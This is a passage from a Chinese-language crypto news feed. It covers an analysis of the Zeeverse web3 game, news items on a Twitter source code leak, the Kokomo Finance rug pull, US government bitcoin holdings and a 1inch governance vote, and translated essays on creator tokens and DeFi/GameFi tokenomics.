Lab(甜菜根)开发，其工作室有多款作品在市面上有良好表现，代表作《Dystopia: Contest of Heroes》在多平台有百万下载量，曾荣获华为颁布的《年度最佳策略游戏奖》。创始人是来自北欧国家拉脱维亚首都里加的Edgars Vecozolins，核心成员包括并不仅限于Andrejs Volkovs、Arnis Lielturs。毋庸置疑，这是一个经验丰富的游戏开发团队，热爱游戏。 值得注意的是，除了Zeeverse这款先锋实验性质P2E的作品外，团队还在运行一个名叫“Colizeum(https://colizeum.com/)”的web3游戏发行平台，团队将旺盛的精力分布在了游戏开发、已有游戏链改和平台化转型上。获得了包括SevenX/了得资本/deribit/区块先生等机构和大V的支持。（以上信息均来自互联网） 2、游戏玩法： 现在：沙盒探索+PVE+PVP+Party 待上线：副职+土地装扮 Lobbies 大厅是 Zeeverse中的沙盒式虚拟空间，玩家可以在这里闲逛、互动和参与活动;玩家可以在这里体验到各种web3项目的集成活动、地牢闯关和PVP、社交活动等，是游戏所有玩法的入口。 PVE：地牢闯关，是P2E和队伍养成的主要途径。目前是单人游戏。从教程中获得3个Zee组成队伍开始您的第一个地牢，随着队伍的强大，更高级别的地牢可以组成最多5个Zee的队伍来进行闯关。 PVP：基于风险收益模型，并在竞技场中进行。对于每场战斗，您与对手下注一定数量的$VEE代币并进行战斗，直到其中一方消灭所有敌人Zee。PVP Arena 是制定策略和测试Zee队伍 不同配置的好地方。 Party Game：社交游戏涉及在 Zeeverse 中举行的现场活动、任务和锦标赛。 例如于Curve的合作活动，在活动期间，玩家们必须参加一项任务，帮助 Zeeverse 的创造者神 Wakan Tanka 建造一座神圣的寺庙。所有参与者都跟随游戏中的故事，并获得了一个特殊的不断发展的 NFT 作为奖励。 副职业：在游戏中探索职业和制作消耗品。 岛屿：将是私人虚拟空间的集合，玩家可以在其中建立自己的基地。每个岛屿都将拥有某些财产和资源，用于在 Zeeverse 中启用创作者经济元素。 3、经济模型 更新的白皮书所有经济模型相关的内容都显示开发中，具有确定性的只有已经Free mint的面具NFT-Masks和游戏内代币VEE。团队最初的设想是通过一系列的设计和举措，平衡游戏内的玩家和收藏家数量，稳定游戏内经济系统。很明显这一想法是试图解决Axie 螺旋下跌漩涡的问题的。但后来的白皮书版本更新，否定掉了一些最初的设想，直接删掉了相关部分，显示开发中。猜测团队在做实验性和适应性的调整，完善经济模型。更多游戏内资产发行在路线图中也有规划。接下来可能要随着游戏的进程一睹全貌了。 NFT-Masks : 面具是Zeeverse的OG符号，拥有面具的都是早期Free mint的玩家。经济模型没有形成的当下，团队不断在为面具赋予价值，如：空投预期、提升PVE奖励、其他资产铸造白名单、游戏内妆扮等。限量3333个，发行在ETH主网。 FT-VEE： 主要是通过游戏内PVE地牢闯关获得，也可在Curve上直接购买;游戏内孵化，升级Zee宠物消耗。曾经也可以让玩家作为PVP的筹码，目前似乎取消了这个功能。更多作用还在开发当中。 4、发展 历史-大事件 期间同多个社区和项目合作，推广白名单和egg售卖，合作方包括且不限于：区块先生、Gametaverse、QuestN(q前Quest3)、P2E Secret Hub、Girls Robots Dragons、Lootex.io、Double Protocol、Azuki、GWG DAO、MetaWars、Gameboy、Curve、TreasureDao等。 未来规划 通过官方发布的路线图可以看到团队将规划分了两条路径，一个是资产端的规划，一个是游戏玩法层面的规划。 5、下一个The Beacon? 这个章节主要回答标题的问题，也是社区玩家关心的问题。Zeeverse和TreasureDao的合作，目前来看还比较表面。The beacon是扎根于TreasureDao生态，紧张刺激的玩法充分调动了TreasureDao生态的OG种子用户们，恰当的预期管理和白名单用户裂变机制推动了The beacon的爆发。第一个TreasureDao生态好玩的游戏，是The beacon先天的基础环境，The beacon的成功较难复制也不一定适合Zeeverse。Zeeverse需要探索自己和TreasureDao合作的方式。TreasureDao的合作为Zeeverse社区带来了信心和用户增长。 Masks在Zeeverse宣布和TreasureDao合作之后，交易量有一个小幅度的增长，但并没有社区预期的爆发式增长。 文章大体上希望可以呈现出游戏面貌和游戏背后团队所思所想所做，为玩家在做出相关决策时提供多一些有用的信息。并不是攻略性质的内容，如何P2E，如何获得、收藏游戏资产这里就不做详细的叙述了。 整个项目的游戏美术、建模、策略设定上可圈可点，是一款合格的策略型休闲游戏。项目虽然以运营近一年，整天还处于早期状态。经济模型随着游戏内资产的不断推出，全貌也逐渐呈现出来。整个游戏的运营也在呈现出加速的状态。可以肯定这并不是一个短生命周期的游戏，游戏团队也有对应其实力的野心，值得关注。  ( 4 min )
    推特称部分源代码遭泄露，已展开调查
    PANews 3月27日消息，据《纽约时报》援引一份法律文件报道，推特的部分源代码在网上遭到泄露。报道称，推特于上周五向发布这些代码的软件开发人员在线协作平台GitHub发出版权侵权通知，要求删除代码。GitHub已对这些代码作删除处理，并补充说不清楚这些代码泄露了多久，可能至少有几个月。推特还要求美国加州北区地方法院命令GitHub确认分享代码及下载代码的人员。该报援引两名了解内部调查情况的人士称，推特对此次泄密事件已展开调查。  ( 4 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（03.20—03.26）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    安全公司：Kokomo Finance发生Rug Pull，盗取资金约400万美元
    PANews 3月27日消息，据安全公司CertiK监测，借贷协议Kokomo Finance（KOKO）发生Rug Pull，盗取约400万美元用户资金。目前该项目已删除所有社交媒体账户。  ( 4 min )
    美国政府还持有多少比特币？何时出的货？
    原文：21shares 编译：Katie 辜 | Odaily星球日报 最近我们发布了比特币关键指标仪表板，其中涉及前100 持有比特币的钱包。我们发现在这些比特币最大持有者中包括了美国政府。自2020年以来，美国政府已经缴获了至少21.5万个比特币。 2023年3月9日，约4.9万个由美国政府执法部门查获的比特币在链上移动，其中约9,900 个共价值2.217亿美元的比特币被发送到Coinbase地址。因此，我们根据比特币关键指标仪表板实时跟踪迄今为止美国政府缴获的三大比特币钱包，通过钱包资金变动预测市场走势： 2020年11月：69,369 个比特币与一名被称为“Individual X”的匿名犯罪分子有关，该犯罪分子在2013-14年期间从暗网市场“丝绸之路”盗取了比特币。 2022年1月：94,643个比特币与Ilya Lichtenstein及其妻子Heather Morgan有关联。美国国税局（IRS）指控这对夫妇在2016年Bitfinex黑客攻击中参与洗钱45亿美元。 2022年3月：查获51,326个来自James Zhong的比特币，他因2012年9月从暗网“丝绸之路”盗取比特币而犯有电信诈骗罪。 请注意，这是根据公开信息对美国政府比特币持有量的底线预估。 1. 2023年3月9日美国政府链上移动的约4.9万个比特币来自2012年9月James Zhong从暗网“丝绸之路”窃取的比特币。 该笔资金约3.91万个比特币，当时价值8.753亿美元，似乎是内部转账。然而，当时价值2.217亿美元的9900个比特币被发送到Coinbase地址，这引发了人们的猜测，此举可能预示着缴获的比特币被出售。 这不是美国政府第一次出售缴获的比特币。2013年，执法部门关闭了暗网“丝绸之路”，在追查案件期间查获了173,991个比特币，其中144,336个来自暗网“丝绸之路”市场创建者Ross Ulbricht的钱包。美国政府在2014年和2015年分四次拍卖了这些比特币，风险投资家Tim Draper以1870万美元的价格购买了其中的 3万个比特币。 图1：美国政府交易历史记录 2.据估计，截至2023年3月22日，美国政府目前的比特币余额为205,515个，价值约58亿美元。 我们估计截至2023年3月22日，美国政府拥有比特币流通供应量的1.06%左右。就在一年前，美国政府持有的比特币在峰值时价值略高于100亿美元。 图2：美国政府累计余额（以比特币与美元计价） 3.通过将我们的发现与我们之前关于比特币关键指标的仪表板进行交叉引用，我们注意到美国政府拥有前十大比特币钱包中的两个。 第一个钱包与从Ilya Lichtenstein和他的妻子Heather Morgan那里查获的94,643个比特币有关。美国国税局（IRS）指控这对夫妇在2016年Bitfinex黑客攻击中参与洗钱45亿美元。第二个钱包与从一个被称为“Individual X”的匿名犯罪分子那里查获的69,369个比特币有关，他在2013年至2014年期间从暗网互联网市场“丝绸之路”盗取了这些资金。 图3：前10大比特币持有者 总结 缴获的比特币量：自2020年以来，美国政府已缴获至少21.5万个比特币。 最近的交易：美国政府将价值2.217亿美元的约 9900 个比特币转到Coinbase，引发了对潜在出售的猜测。 当前比特币余额：截至2023年3月22日，美国政府的比特币余额估计为205,515个，价值约58亿美元。 比特币最大持有者：截至2023年3月22日，美国政府控制着比特币流通供应量的1.06%。在十大比特币钱包中，美国政府占了两个名额。 多年来，人们误认为加密货币可以方便进行“隐秘交易”。因此，加密货币经常被用于犯罪目的。根据Chainalysis的数据，2022年，总体非法活动在加密货币总量中所占比例很小，仅为0.24%。  ( 4 min )
    解读创作者模式新玩法：通过代币启动社区
    作者：LI JIN 翻译：SeeDAO见道 写于 2022 年 9 月16 日 图像由 NightCafe 生成 2021 年，音乐人 Daniel Allan 开始制作《Overtimulated》专辑。他本可以像许多其他网络创作人一样，花上数月、甚至数年的时间，完成内容制作和发行，指望最后能吸引足够多的粉丝，赚到足够多的钱来全职从事这份工作。或者，他也可以走一条更传统的路子：向传统音乐厂牌兜售自己的作品，盼着有人能赐给他一份大礼──唱片合约。 但是，Daniel 选择了一条与众不同的道路：他在 Mirror 上销售代币，为自己的新专辑发起众筹，并从 87位支持者那里筹集到50 个 ETH（当时价值约为 14.2 万美元）来资助他的音乐创作。作为投资回报，代币持有者获得这位艺人利润的50%──并可以和 Daniel 本人直接联系。后来，谈到加密货币对他本人工作的影响时， Daniel 在自己的 Mirror 页面上写道：「头一回，我全部拥有了自己发布的音乐，并且人们也为我的作品赋予了实际的价值。」 像 Daniel 这样的 Web3 原生创作者，是创作者经济新模式中先行者的代表。 我们曾连篇累牍地介绍过，网络和平台如何借助代币为用户分配所有权，以实现快速壮大的目标。同样，代币也是创作者从无到有地吸引受众和资本的新型强大工具。曾经，创作者需要免费进行内容创作，寄希望于逐渐积累受众，慢慢实现盈利。如今，有了代币，创作者们能够提前获得受众并从中获利，随后再用这些所得和粉丝来支持内容创作，进而做大自己的业务。 换言之：Web3 颠覆了传统的在线内容创作模式。这一范式转变，将对创作者的工作方式，粉丝与作品的关系，以及广阔的创作者生态系统如何从整体上发挥作用产生重大影响。 这并不是创作者玩法的第一次改变。互联网时代之前，创作者需要先构思内容，然后向音乐厂牌、图书出版商、电视制作公司之类的机构推销，这些机构有权决定制作哪些内容。为了换取前期资金、获得发行渠道，创作者们不得不放弃重要的创意控制权，以及很大一部分未来收益。 随着Web2 时代 UCG（用户创作内容）平台的兴起，出现了一种新的创意工作途径。创作者能够在诸如 Instagram 以及 TikTok 等平台上在线发布他们的作品，直接触及受众。随着受众的增加，各种盈利途径开始变得可行，包括广告、品牌赞助、订阅及商品交易等。 传统的创作者生命周期 在 Web2 模式下，创作者能够保留其作品的创意所有权，但却面临者一条漫长的财务生存之路。创作者事先投入了大量的时间和精力进行内容创作，却不知道何时、是否能够看到回报。这种状况导致了创作者的倦怠，并且对不太富裕的创作者构成了入行阻碍。 换而言之，Web2 模式下的创作者面临着冷启动的挑战：为了赚钱，需要有受众；但为了增加受众，又需要能够资助内容创作的资源。Web3 创作者的玩法，是克服这个冷启动问题的新途径。 Web3 模式与 Web2 创作者的玩法模式恰恰相反。为了建立能够带来营收的庞大粉丝群体，Web3 创作者不需要先从创作免费内容开始，而是通过创建代币（NFT 或同质化代币）来直接营业。它会吸引那些对该资产的所有权所具有的潜在利益感兴趣的人，也即粉丝中的初始受众。然后，创作者可以利用从代币销售中获得的的初始资金，以及代币持有者群体来启动其创意工作。于是，这类粉丝也加入了游戏，见证创作者取得成功，并受到激励，甘愿充当成创作者及其作品的布道人。内容创作、受众增长和盈利的良性循环就这样开始了。 这一玩法的关键在于数字稀缺性：随着创作者名气变大或者更加成功，他们发行的代币也会变得更加抢手和值钱。通过代币化实现数字稀缺性的重大意义，在我关于 Web3 对创作者经济的影响的博文中也进行了解读： 通过将作品制作成NFT，创作者为媒体所有权和出处创建了一个可验证的链上记录。最终结果是一件唯一的、可追溯到艺术家的数字资产。热爱该创作者作品的粉丝愿意为这件经典媒体作品支付更高的费用，创作者也能够更好地捕获粉丝的全部支付意愿。 Web3创作者的生命周期 这种 Web3 创作者模式反映了 Chris Dixon 为「启动代币激励网络」所勾勒出的要点。在传统网络中，一个新网络的用户效用受限于应用的效用──或者对创作者而言，受限于其创意产品的效用。代币则引入了一个额外的效用来源：金融实用性。在一个网络的早期──或者说，在一位创作者事业的早期，代币为受众提供了一个补充性的效用来源。 来源：a16z 在各种创意相关的垂直领域，这样的例子已经不胜枚举。在电影行业，Shibuya 通过出售制片人通行证 NFT，为制作动画剧集《白兔》筹得 400 ETH（约合 120 万美元），该通行证允许持有人决定每个章节的进展，并成为成品电影的共同所有者。同样，电影/动画制作人 Robbie Shilstone 在 Formfunction 平台上通过 NFT 筹集了超过 324 SOL，数十名支持者同时也能够参与电影的制作过程。在真人秀领域，Mad Realities 通过销售 NFT 为他的约会节目众筹了 172 枚 ETH，其NFT 所有者拥有多项治理权，包括每周对演员进行投票，在拍摄时为参赛者刷礼物，并投票选出获胜的伴侣。出版行业，Tally Labs 即将出版的小说《Bored & Dangerous》将 2800 名 Writers Room NFT 持有者纳入写作过程，NFT 持有人有权决定书中出现的角色，并对故事的发展方向进行投票。音乐领域，许多 Web3 艺术家已经尝试了类似 Daniel Allan 的实验，向粉丝空投代币，并提供诸如试听会、代币持有者限定内容等福利。 在这些案例中，代币不仅有助于创作者获得工作所需的前期资金，而且在许多情况下，代币甚至成为产生首批受众的谢林点（Schelling point）。有了代币提供的激励一致性，这些受众变成了活跃的共同创作者和利益相关者，获得了引导和塑造作品的原动力，成为作品的布道人。 虽然对代币的使用仍处于起步阶段，但创作者的这一新玩法很可能对创作者经济产生影响，尤其在三个方面：创意工作的平民化、粉丝文化的性质、以及创作者自身的角色。 1. 更容易走上创作之路 Web2 创作者模式下，创作者在看到任何投资回报之前，通常要花费很长时间创作免费内容。代币玩法加快了获得资本和受众的速度，因而降低了这类经济壁垒，使得广大心怀抱负的创作者得以追求创意事业。 当然，目前仍有一些阻碍需要考虑。虽然这种玩法可以促进资金和受众的增长，但它并没有消除培养一小群关注者所需要付出的前期努力，他们是一群乐于接受创作者发行的代币的铁粉。启动众筹时，Daniel Allan 只有大约200 名推特粉丝──这样的受众规模对于广告等传统盈利模式来说确实可行性不高，然而他的确不得不花费大量时间去和收藏者培养关系。Billboard的一篇文章中描述到：「在《Overstimulated》发行前的几个月里，Allan 每天在 Twitter 和 Discord 上花费超过 8 小时。他发私信给Web3 音乐领域的每个人。他加入几十个 Discord 服务器，每天跟大家说 “gm”（Good Morning），并与音乐 NFT玩家建立联系。[...]众筹活动结束时，这张专辑有 87 位支持者──其中至少有 50 位都是 Allan 事先有过个人联系的。」Web3 创作者的玩法减少了盈利所需的受众规模，但事实上，与为数不多的铁粉建立更深的关系也愈加重要了。 其它主要障碍则在于教育和接触的机会：为了让创作者能够用得上这个新玩法，他们必须意识到这条途径的存在，并且有机会接触到可用的工具。这就是为什么 Web3 生态系统继续投资于开发各种资源和工具至关重要，只有这样，才能让无论处于什么背景的用户都能够有接触的机会。教育类项目，如Seed Club 的加速孵化器、Forefront 的Web3 创作者空间、HIFILabs的 Web3 艺术家群组计划、以及MusicNFT发布平台等，都是为了满足让更多创作者加入 Web3这一重要需求的活动案例。 2. 粉丝文化性质的演变 在 Web2 的创作者经济中，创作者的观众之间的关系基本上是单向的。Web3 创作者的玩法则开辟了一条道路，让粉丝能够在两个主要的载体上发挥更加积极的作用。 从粉丝到投资人 在 Web2 创作者模式下，粉丝被创作者吸引是出于内在原因──因为他们喜欢创作者的作品。Web3 模式引入了一个额外的动机：所有权。一些支持者会出于投机的原因被吸引──因为他们将所有权视作从二次销售中牟利的必要条件。 由于代币所有权给激励机制带来的转变，创作者及其社区之间的态势也有发生改变的可能。当粉丝遭遇经济损失时，创作者和受众之间的关系会发生什么变化？如果代币贬值，粉丝会撤回他们的支持吗？这些都是创作者生态在新的创作者玩法走向成熟的过程中必须要解决的问题。 从漠然的路人到活跃的利益向相关者 传统上，内容创作是一个单向的过程：创作者负责创作，受众负责消费。新的创作者玩法将创意工作变成了一个参与式的过程，代币持有者想直接影响到作品本身，因为作品的成败与他们的经济利益息息相关。Jenkins the Valet就是一个例子,这枚无聊猿 NFT 的所有者一手打造了它的故事和人设；现在它已经与 CAA 签约，成为一系列全新创意项目的基础。所有这些衍生项目都提高了无聊猿的知名度，为该作品集的生态系统积累了价值。很难想象，在传统背景下粉丝会不遗余力的去帮助创作者取得成功，但 Web3 提供了经济利益的一致性，从而激励社区参与者去做更多的事情。 与这种转变相关的影响是不可预料的。受众参与共创过程，会增强还是限制创意潜力？创作者如何平衡自己的创意愿景和支持者的愿景？ 3. 创作者角色的改变 随着 Web3 玩法的应用，会发生变化的并不仅仅是粉丝群体，创作者也会发现自身的角色产生了变化。这是因为 Web3 玩法改变了创作者成功所需的技能组合。 比之于自顾自地盯着内容创作，创作者不得不从一开始就熟练掌握是市场营销、发展人脉和社区管理等技能（或者，将这些工作委派给具备相应技能的社区成员）。他们必须一路像创业公司创始人那样运作：筹集资金、传播愿景，以及平衡相关人员的利益。在日益流行的 CC0 模式（“无保留版权”）下，这一点被发挥到了极致──采用 CC0 的创作者允许他人以任何方式使用其作品，包括用于商业目的。CC0 创作者的角色变得更像是社区管理和照应，而不是内容创作的第一方。 同样，这种转变带来的更广泛的影响还有待观察。来自粉丝投资人的意见和期待会不会造成最终作品的无序、阻碍创意潜力，并诱发更严重的创作者焦虑或倦怠？或者，大社区对作品的集体声援，是否将对创意项目有所裨益 ? 创作者的更多选择意味着更有活力的创作者经济 在过去的几十年甚至几个世纪中，通过更多的机会、各种商业模式，和新技术带来的低入行门槛，创作者经济演绎了释放潜能的精彩故事。代币激励为创作者经济提供了一个令人兴奋的新工具，它能够让创作者从无到有地获得支持者、掌控新的盈利和价值捕获机制，并与他们的受众共同进行创作。 正如 Web2 玩法没有取代传统出版行业，Web3 玩法也不会完全取代 Web2 创作者经济的玩法。相反，它为创作者开辟了新的道路，最终将通往一个更加强大、更具活力的创作者经济。  ( 5 min )
    彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务
    PANews 3月27日消息，据彭博社报道，知情人士表示，中国交通银行、中国银行、上海浦发银行的香港分行可能已经开始向当地加密货币公司提供银行服务，或正对该领域进行调查。知情人士称，至少有一次，一家中国的银行销售代表前往一家加密货币公司的办公室，推销其服务。 截至发稿，中国银行、交通银行和上海浦东银行未回应置评请求。  ( 4 min )
    数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06%
    PANews 3月27日消息，据Bitcoin.com报道，根据目前的统计，截至2023年3月25日，美国政府持有205,515枚比特币，价值56亿美元，约占流通供应量的1.06%。 这些比特币主要来源于从2020年开始的三起没收事件，包括2020年11月没收的与丝绸之路暗网相关的69369枚BTC，2022年从Bitfinex黑客没收的94,643枚BTC，以及去从James Zhong没收的51,326枚BTC。根据Glassnode于2023年3月9日发布的一份报告，其中一些比特币已经转移，总数从 215,338枚BTC减少到205,515枚BTC。 此外，美国政府扣押的比特币数量仅次于灰度（643572枚），但超过了Microstrategy持有的132500枚BTC。  ( 4 min )
    1inch社区拒绝由Solidity.io为其创建NFT聚合市场，但通过另一项类似提案
    PANews 3月27日消息，Snapshot投票页面显示，1inch社区以68.78%的投票反对率拒绝了由Solidity.io为该社区创建NFT市场的提案，有社区成员表示，该提案的格式、计划安排、执行均有问题，比如该提案没有在提案题目开头前添加“1IP-#”，且该计划的实施需与1inch基金会达成合作，但该提案的表述误导了社区等，双方并未达成合作。 此外，社区的另一项提案1IP-21以71.44%的支持率获得通过，该提案同样提议为社区创建一个NFT聚合市场，开发服务将外包给Blockchain App Factory (BAF)， BAF将与1inch架构和BE团队保持一致，领导拟议NFT市场的开发执行。该提案的申请的预算约为38.7万美元。 此前3月22日消息，1inch发起创立NFT交易聚合器的提案投票，该提案提议Solidity.io将为此聚合器提供技术支持。  ( 4 min )
    浅析DeFi和GameFi中代币经济学的最新趋势
    作者：HIRAYAMA SHO 翻译：@KP|Buidler DAO 校对：@Han Yue 全文 3778 字，预计阅读时间 12分钟 DeFi 和 GameFi 的双代币模型是怎样工作的？ 上表列举了使用双代币模型的项目，其关键就是效用代币(Utility Token)。Maker 和 Terra 分别将 $DAI 和 $UST 价格锚定为1美元，Axie 的 $SLP 不是稳定币，而是有通胀倾向的游戏内代币。$MKR 和 $LUNA 与 Axie 的代币经济学不一样，这两个代币都可能会为了各自稳定币进行增发。 在 Terra 崩溃之前，按照它的代币经济学，如果 $UST 的价格向下偏离，协议会发行 $LUNA 从套利者手中购买 $UST。由于铸造了所需数量的 $LUNA 去购买 $UST，理论上 $UST 的价格是稳定的，即使 $LUNA 的价格下跌，不管 $LUNA 的价格是多少，只要有人继续在市场上购买 $LUNA 就行了。$DAI 会更稳定些，因为它使用 $ETH 作为抵押物，如果抵押物价格下降平台资不抵债时，平台会增发 $MKR 去购买 $DAI。这两种机制都是将效用代币的价格不稳定性转移到备用代币 (Backup Token) 的数量不稳定性。 Axie 的代币模型稍微有点不一样。为了不让 $AXS 通货膨胀，Axie 团队将通胀属性转移到了 $SLP，所以 $SLP 本身就被设计成有通胀属性。那么怎样给玩家提供稳定的收益将变得有挑战性，因为玩家主要通过获得 $SLP 奖励来获得稳定的美元收益。然而 $SLP 具有通胀属性，当 $SLP 价格下跌时，如果平台想保证玩家的收益，给到玩家 $SLP 的数量需要增加，这又进一步加剧了通胀。但是，就像 $LUNA 和 $UST 的机制一样，只要有人在市场上继续购买 $SLP 以使价格稳定，理论上以稳定数量的 $SLP 奖励玩家是可能的。Axie 与 Maker 和 Terra 不同的地方在于，它不通过售卖治理代币来稳定效用代币的价格。 无尽通胀代币模型与芝诺悖论有点相似。这种双代币模型看起来是一个精妙的解决方案，但是一旦超过了某个临界点，无法控制的恶性通胀就会出现并摧毁整个系统。将价值和需求分开设计成两个代币作为双代币模型本身就充满矛盾而且没有理论依据。 毕竟代币经济学并不是万能的，代币没有设计好的游戏无异于一个不可持续的模型，一旦流入的资金停止了，它就开始崩塌。 对于转向 Web3 工作室来说，审慎的代币设计和代币经济学是最重要。如果要引入代币，至少应该要意识到这些代币将不会引发死亡螺旋。同样的，对于 GameFi 的代币经济学设计者，DeFi 的代币模型具有参考价值，但是他们也要意识到 GameFi 和 DeFi 是两种完全不同的组合形式和价值循环。 研究 DeFi 案例是防止意想不到的情况发生的一种方式。 比如，净正金池 (The net positive gold sink) 作为一种延迟通胀的方式被人所熟知，在 DeFi 代币模型中却是一种十分严重的缺陷，如果引入到游戏将会带来严重破坏。 下面的表格总结了在本文撰写时主要 DeFi 产品的代币分配方式。大部分的通胀模型要么很简单，要么就是用了延迟通胀模型。然而 Curve 很独特，它的治理代币质押者将会获得美元稳定币，锁定系统实现了流通 CRV 暂时性减少。 我们发现的不可持续模型 上面左图展示了金融领域典型的现金流贴现法和净现值，项目的净现值是基于未来收入的折现。上面右图展示了不可持续的代币经济学模型，它根据手上现有的资金去调整之后的代币分配。这些不可持续的代币模型设计具有完全相反的价值生成循环，因为它需要从什么都没有创造出一些东西出来。 当游戏玩家长期开发自己的 Avatar 或角色并以此作为收入来源，代币设计会变得更加困难，原因如下： 在没有用户反对的情况下很难改变规则。 财富从后来的玩家转移到之前玩家的情况可能会发生。 正向反馈太强以至于不能容许生态系统收缩，即使是暂时性的。 BAYC 的开发者 Yuga Labs 已经做了很多探索和创新，他们通过 NFT 销售来做特定的资金募集，依靠二级市场版税创造持续收入，围绕叙事展开社交媒体营销。 比如，Yuga 向 BAYC 持有者空投 MAYC，为 MAYC 建立起一种叙事并增加了它的价值，如果空投的物品具有价值，那么 BAYC 的价值会增加更多。Yuga 后续又成功地用同样的方式空投了 BAKC、APE 代币、Otherside 土地 NFT。Yuga 的成功让越来越多的项目采取了相似的方式，比如 RTFKT 和 Moonbirds，他们在最开始就明确承诺将会给持有者提供回馈。 上表列举了在不同领域资金募集、重复销售收入和用户奖励的方式。 一个有趣的点在于版税费作为 NFT 项目持续收入来源的重要性。这种现象反映出市场将 NFT 看作投资品而不是艺术品，项目团队可以获得二次交易收入。下面的文章也指出了这种现象。 要注意的是，类似 Sudoswap 这类不支持版税费的平台逐渐崛起，这将导致从二级市场不断获取收入这种方式变得不可行。想象一下朋友之间在场外交易 NFT，你会发现没有任何技术手段可以强行加收版税费。 Yuga 也解决了经济可扩展性问题。即使成功发行了高端 NFT 项目，如果 NFT 的数量只有10000，市场份额将不可避免地会很小。因此 Yuga 连续创造了19134个 MAYC、9602个 BAKC、10亿 APE 和98115个 Otherdead。不断增长的发行数量导致的价值稀释也通过对当前持有者的特惠待遇以及加密圈内外的市场营销被抵消了。 公链上的生态系统由各种产品之间的交互形成，然而游戏通常会形成独立的系统，这是因为游戏属于应用层，在垂直和水平方向上都只有有限的兼容性。想象一下区块链受益于建立在它上面的产品，DeFi 基础设施也受益于建立在它上面的产品，兼容性差就限制了区块链外部的价值流入通道。 我们必须理解到，当游戏内 NFT 和 FT 增发了新的代币时，意味着位于最上层的产品以一种权益证明 (Proof of Stake) 的方式增加了流通代币供应。这就是为什么当我们设计一个与游戏经济联系紧密的代币时，我们必须将效用（代币）运行在一个封闭的经济区，我们不能给不提供经济回报的治理代币增加经济价值。 当一个资金雄厚的游戏工作室希望开发一款 Web3 游戏而不用担心代币设计，有一个选择就是开始不发行代币，而是用像 BUSD 和 USDC 这样的稳定币。 好消息是应用层最接近终端用户，未来终端用户将是最大的价值流入来源。在上面树状图中，树枝的末梢看似是终点，但是那里有大量的终端用户。 因此，应用层必须建立一个不同于其他层的利润模型，代币经济学自然也会有不同的地方。重点在于独立运行且兼具 DeFi 功能的产品没有兼容性，或者不需要兼容性，将不可避免地迁移到它们自己开发的区块链或 L2 上。 这就是为什么特定应用链不断在增加，例如 BAS（BNB应用侧链）和 zkBNB。不必说，特定应用链的代币经济学也将变得更加重要。独立的区块链原生代币在系统中除了做应用程序的效用代币外，也被用作交易费用和共享权益费用 (Shared Security Fees)。 如果价值流入受限于战斗通行证 (Battle Pass) 购买和 NFT 销售，我们在设计游戏经济系统时必须要注意初始代币市值和预期的经济增长速度。这是由于缺乏兼容性，这些数字在长期来看不可能比预期更好，尽管可以比预期更差。 效用代币的发行计划会受到很多因素的影响，下面是一个简化的案例样式。 流通中的代币跟事件所需代币数量有关，进一步又跟每天的事件数量和每个 NFT 的事件数量有关，最后又跟NFT的供应量有关。 当我们拥有单一清晰的目标铸造/燃烧比例，为什么我们还需要控制多个变量呢？这是因为玩家从游戏中获得的效用 (Utility) 不仅仅是代币的数量，还有在各个阶段玩游戏的体验。即使在某个特定阶段获得的代币数量很少，但如果总体体验物有所值，玩家也会很开心。 由于一个元宇宙空间本身具有与现实世界相近的复杂结构，代币的发行和分配必须根据游戏玩家的行为数据和满意度水平进行动态地和自发地调整。 一些游戏引入了有趣的机制。 赛季 对玩家来说，引入赛季机制意味着游戏平衡在每个赛季都会进行调整。玩家理解这个机制，当进入到游戏发现人物和物品调整了之后，就会更少地感到不满。带来的好处是不需要特别照顾现有玩家，可以更加公平地调整规则。 NFT 耐久性 玩家可以使用 NFT 角色参与边玩边赚游戏，但是这些 NFT 只能使用特定次数，一旦达到了次数限制，NFT 将不能用于赚取代币。即使效用代币的供应是无限的，我们仍可以控制代币发行速度，或者通过限制 NFT 供应来控制。 通过引入赛季和耐久性机制，玩家会在特定赛季购买特定 NFT。开发团队可以通过分隔游戏时间段来延长游戏寿命。 负和博弈 (Negative-Sum PvP） 设计可持续经济模型一个最关键的地方是怎么让负期望值的游戏受到大众欢迎。赌场和赛马是很好的例子，也就是说，它们不仅仅是概率游戏，同时具有一种让玩家愿意花钱交换乐趣和刺激的机制。 在赌场中，玩家肯定有输的概率，但是他们本意是想赢。赌场的收入来源可被认为是认知扭曲和体验消费。 许多博弈模型都是负期望值游戏。为了控制通货膨胀，团队需要让这个模型变得有趣，使用数据分析去触及潜在用户，通过 eSport 和游戏直播扩大游戏认知度。此外，为了增加并维持玩家数量，社区资金应该被分发邀请给潜在用户以及为持续损失的用户提供有利的队友结构。 最重要的事情是提升用户体验，不仅仅只有铸造/燃烧比例。那些了解代币经济学重要性的团队过于全身心投入到控制通胀和可持续性，而忽略了创新和加密游戏本身的潜力。 有两件事现在是很显然的。 游戏在许多领域将会变得越来越重要。 许多游戏将会尝试进入 Web3。 然而，Web3 最好的经济模型还没有找到，同时也没有证明 Web3 在某些方面就比传统游戏更好。 关键就是要理解 Web3 和传统游戏所认为的合理存在巨大差距。比如传统游戏认为被监管保护是合理的，然而 Web3 认为自由和公开透明必须的。这个认知鸿沟中就存在 Web3 的社会价值和成功机会。 创造只有 Web3 能做到并且任何人都能理解的用户体验非常重要。为此，仅仅在现有的游戏引入代币或者忽视传统游戏并想要创造完全新的机制可能不会奏效。 我们需要谦虚地去模仿现有的成功机制，要比任何人都熟悉传统游戏和 Web3 之间的内在区别。 这样，我们将会找到 Web3 的真正价值。  ( 6 min )

  • Open

    为什么公共产品对 Web3 至关重要？
    Chainfeeds 导读： Gitcoin 筹资及合作关系负责人 Azeem Khan 撰文阐述公共产品在 Web3 构建中的重要意义，认为在互联网的下一次迭代中，公共产品和新的所有权模式将有效结合。本文中文版由 Foresight News 编译发布。 文章来源： https://foresightnews.pro/article/detail/29196 文章作者： Azeem Khan（Gitcoin筹资及合作关系负责人） 观点： Azeem Khan（Gitcoin筹资及合作关系负责人）：公共物品的特征是不限制任何人使用，并且一个人的使用不会对其他人产生负面影响。Web3 令人兴奋的关键原因之一是公司可以通过另一种方式赚钱，而无需利用用户获取数据和利润。Web3 世界中存在与用户共享利润和价值的开放平台，它使我们能够为所有相关人员创造更多价值。平台不会完全控制数据，用户将拥有他们创建的任何内容，并保留他们购买的数字资产的实际所有权。 内容来源  ( 16 min )
    L2 Summer 将至？一文掌握 StarkNet 技术原理及生态
